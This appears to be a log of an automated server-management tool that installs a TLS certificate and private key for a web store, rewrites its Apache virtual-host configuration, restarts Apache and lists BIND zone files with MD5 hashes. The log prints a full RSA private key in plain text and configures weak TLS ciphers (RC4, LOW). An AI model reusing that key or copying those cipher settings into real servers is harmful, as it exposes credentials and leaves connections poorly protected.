MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-27 13:25:33: Establishing a connection
2025-11-27 13:25:34:
PUT: /tmp/pkp826261
#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt
cat > $temp_file <<'endmsg'
82:02:7f:d7:e0:ab:dd:79:a3:59:ee:4b:0d:03:e0:41
-----BEGIN CERTIFICATE-----
MIIDaTCCAlGgAwIBAgIUcC1ZIwx4gDBsXnLBPw0GK4baUDEwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTEyNzEzMjUzM1oXDTI2MTEyNzEzMjUzM1ow
IjEgMB4GA1UEAwwXc3RvcmUua2p2ZGljdGlvbmFyeS5vcmcwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCb/ZuLIFIk5TUCBo/0VhOZY3SB8RVxlpDUgvN0
swpfpsOncr8UghQtFDbvBqH/Oq2n66RJfS38EyQIYsZZOGSASxEmjYu2TMjj3ebm
EQ+oWXll2ZsVe5tt/qJ5hvQ6K15aA4YnaGOikH83WfQ2wRMC/xWnCV/rW7NUe5Ck
CxSydN+aXVopXnIt07E3ChKzms+8jwfi9yRYoXgR/CR2Rb86g1AMEMdVKs4WjsRU
azmLDSTGdwcPMgK6cWJozR+7fCiScLt42ovUNNbfokrZZH7wGga/dF1nYJId9esH
z4WE9+f95EfuC0bEiyQQX+kd3FgiIQiM477hYsfTWybM5If3AgMBAAGjfjB8MB0G
A1UdDgQWBBRIwbbKv9Lwgqf0NSCmqtB4klMTqzAfBgNVHSMEGDAWgBSFm24M/c0k
teH10KQDOIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAiBgNVHREEGzAZ
ghdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAoKFM
+DbvhD+RxUc/2JPPiFDnfLwfbQJ41u2wg6zfbTZXXHdoiCplJrCghzcMZEv657xY
EFR5UKEkBLLMKifHd3+jRyq6pTwee2f1aQfxLBRJJwnf8E9eOCBm6seBSb/AZEn6
v8+yk7ZTWR7BMflHfhZaq6unzR0WKIFvmd5hkjlattV8cO5N8Fo5yocbINO8orL6
7Sfh2O3p6i0rGblldrLgDfKRODkBzGqfqoKdil4fN44/asn4dmVhrzlCXYfljvlx
JHYlhqwBW4VxWh7oQiNjzSmBCVLAyNkgJDkN3idrHDJwlKjevCmTTVd4ifX7IGdq
ukAlOqKGNdqMEGD7MQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCb/ZuLIFIk5TUC
Bo/0VhOZY3SB8RVxlpDUgvN0swpfpsOncr8UghQtFDbvBqH/Oq2n66RJfS38EyQI
YsZZOGSASxEmjYu2TMjj3ebmEQ+oWXll2ZsVe5tt/qJ5hvQ6K15aA4YnaGOikH83
WfQ2wRMC/xWnCV/rW7NUe5CkCxSydN+aXVopXnIt07E3ChKzms+8jwfi9yRYoXgR
/CR2Rb86g1AMEMdVKs4WjsRUazmLDSTGdwcPMgK6cWJozR+7fCiScLt42ovUNNbf
okrZZH7wGga/dF1nYJId9esHz4WE9+f95EfuC0bEiyQQX+kd3FgiIQiM477hYsfT
WybM5If3AgMBAAECggEBAJFtZ5TWZh7FnZys14p4sT8ArL70LwS91Xp6N1TmElbI
l4HGBYSuHPdF8Ez5hw/2+a0ikAB/dt6aTa6Pv9GwNGozEeM6dTVY8rUVzM1SvKE8
AWTF8cKegXKTwY/BFHIiuoz62hhlRvZo9mF5OKfPatURUXNv1wAKdu7dYCS/u+T+
gkp+EruDyH4Zr0GgXgWmuMlDUEVpt+DVZ8BItgDrqlw9YsDUZwrqWzPa+kZMHyNv
lFA+VpJpssYNYzOVneWdMt1LcX5aKd0Jos3RXYvtVOZPuMcNfMPHqJ/vbnTSHTeF
vOwOxkbQCEG6gh+aOaoGbjwEpQzaRk3ZHzL7VVYNkhECgYEAy0e0zuRTp+M8W+99
ZgkTo2Al4BivVu7SikqtoMFydIG6i7HrEb8VPC1/xr8yA9Vk1O828L9RXOMDZQuC
U1yEvF3Ko27fBrpXM/DqwkJeL0hkoStHZqMVU9uTq4rN1mSPhv3U+0BlKY6BNK5L
Ov3bS3N0goWVTWca8fXJrbwpXGkCgYEAxHI7aqT+TeBXpiXZ/yt3LbOqW1PMRQzN
rpVQl2rTCP2gLva6ayWUOgJW/EUy0X8163FS1nvak2pQppun3fWTto7U1VcqnjB/
ZKoG0nT/siyaFiWwxF12jX8iGlS+RKIE2YL4jzY45jpOHTZHI2Zdc/ZFlMIatJmE
1QO3Gv7ttV8CgYA0Hzq5Icphbd54JDwfAYzLg0ey4iFzROEvHF7QrUlPnkPatc/0
SO6E85WjvDpyyTCFeKC5shSGoJ6qNf1AqqROOC5RIYiGDRl28/r9vE6yCPnkaVhx
dLdvPQnsHjcRFc/HaSZHFgfaU/PFMjuP8K9d9UiWfvH9WsaJ69++cFSaoQKBgQCf
Y2feEVzcZuf2wMNtjCC4jgvs6cLVS5weyLuI/32Wz+IF+N4sTWNE5d0Z9jNTU3m2
PE5QBFHGRf6GD8lWCAj/mEgLiRvlGchjLqk2XQOR1yp2ScJwsLyd9cb/wj5WhXaV
3PQ7jm0AL9JtVTrG+ClfCzRNjGgKnHzwMIGCf9Dy1QKBgHb/F8agFVWgHoxDCUeF
1ixb/j2vn8N7pqm+ecJytraOpqv0oyjjfBREWCUtb1CwK5k1PhIMJywZ/f/eJ806
ovynjoANfFF6MxrPcKZsTAMub0UzsUDPb8Gw9EMFwGnsp1KFLZXAGTaoAgwv9QUF
VK52roDNddXeZe8xmG0Wo9KA
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-27 13:25:34:
chmod 755 /tmp/pkp826261; /tmp/pkp826261; rm /tmp/pkp826261
2025-11-27 13:25:34:
dir=/etc/ssl/certs
2025-11-27 13:25:34:
PUT: /tmp/pkp413865
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:25:34:
chmod 755 /tmp/pkp413865; /tmp/pkp413865; rm /tmp/pkp413865
2025-11-27 13:25:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-11-27 13:25:34:
PUT: /tmp/pkp426858
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=/var/www/kjvdictionary_store
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/kjvdictionary
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi
2025-11-27 13:25:34:
chmod 755 /tmp/pkp426858; /tmp/pkp426858; rm /tmp/pkp426858
2025-11-27 13:25:34:
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf
file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1
2025-11-27 13:25:34:
PUT: /tmp/pkp842977
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-27 13:25:34:
chmod 755 /tmp/pkp842977; /tmp/pkp842977; rm /tmp/pkp842977
2025-11-27 13:25:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 13:25:35: Establishing a connection
2025-11-27 13:25:35:
PUT: /tmp/pkp888964
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-27 13:25:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp888964; rm /tmp/pkp888964'
2025-11-27 13:25:35:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
